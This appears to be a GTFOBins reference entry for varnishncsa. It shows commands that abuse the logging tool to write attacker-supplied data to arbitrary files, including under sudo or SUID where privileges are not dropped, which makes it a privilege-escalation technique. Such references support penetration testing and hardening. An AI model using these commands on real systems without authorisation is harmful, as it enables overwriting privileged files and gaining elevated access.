varnishncsa | GTFOBins

.. / varnishncsa

Comment

A running varnishd instance must be available.

File write

This executable can write data to local files.

  • Comment

    The command hangs, so the trigger command must be performed asynchronously or in another terminal:

    curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx
    

    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

    Remarks

    If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

    varnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-file

    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

    varnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-file
    Remarks

    The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Source | History